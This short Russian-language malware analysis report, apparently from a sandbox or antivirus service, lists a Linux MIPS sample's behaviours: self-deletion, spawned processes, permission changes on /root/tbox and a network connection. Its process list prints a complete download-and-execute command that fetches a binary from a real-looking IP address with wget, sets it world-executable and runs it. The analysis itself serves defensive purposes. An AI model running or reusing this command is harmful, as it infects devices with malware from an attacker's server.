Техническая информация
Вредоносные функции:
Самоудаляется
Запускает процессы:
- /bin/sh -c wget http://178.238.236.119/luoqxbocmkxnexy/tbox.mips -O - > tbox; chmod 777 tbox; ./tbox tbox.mips
- wget http://178.238.236.119/luoqxbocmkxnexy/tbox.mips -O -
- chmod 777 tbox
- ./tbox tbox.mips
- /bin/sh ./tbox tbox.mips
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/tbox
Создает или модифицирует файлы:
- /root/tbox
Сетевая активность:
Устанавливает соединение:
- 17#.##8.236.119:80
